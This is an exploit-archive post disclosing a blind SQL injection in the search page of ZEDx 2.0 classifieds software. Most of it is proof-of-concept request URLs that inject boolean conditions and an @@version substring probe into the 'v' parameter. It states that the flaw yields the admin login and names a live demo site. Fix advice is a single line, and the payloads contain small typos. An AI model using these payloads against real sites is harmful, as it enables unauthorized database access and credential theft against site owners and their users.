ZEDx 2.0 - Blind SQL Injection Vulnerability

# Title : ZEDx 2.0 - Blind SQL Injection Vulnerability
# Author : ZwX
# Version : ZEDx 2.0
# Demo Online : http://demo.zedx.org/
# Vendor : http://www.zedx.org/
# Date : 09/12/2014

#-------------------------------#
          Description
#-------------------------------#

# Blind SQL vulnerability is in the search engine
# The user knowing exploit this vulnerability can have the admin login

#-------------------------------#
      Proof Of Concept (PoC)
#-------------------------------#

/search.php?searchme=Vous cherchez quoi ?&type_annonce=1&id_type_bien=&pays=4&code_postal=Array&order=2&v=1 and 1=0-- Fasle
/search.php?searchme=Vous cherchez quoi ?&type_annonce=1&id_type_bien=&pays=4&code_postal=Array&order=2&v=1 and 1=1-- True

#-------------------------------#
          Version
#-------------------------------#

/search.php?searchme=Vous cherchez quoi ?&type_annonce=1&id_type_bien=&pays=4&code_postal=Array&order=2&v=1 and substring(@@version, 1, 1)=4 False
/search.php?searchme=Vous cherchez quoi ?&type_annonce=1&id_type_bien=&pays=4&code_postal=Array&order=2&v=1 and and substring(@@version, 1, 1)=5 True

#-------------------------------#
          Solution
#-------------------------------#

# update your search engine

#  0day.today [2018-01-05]  #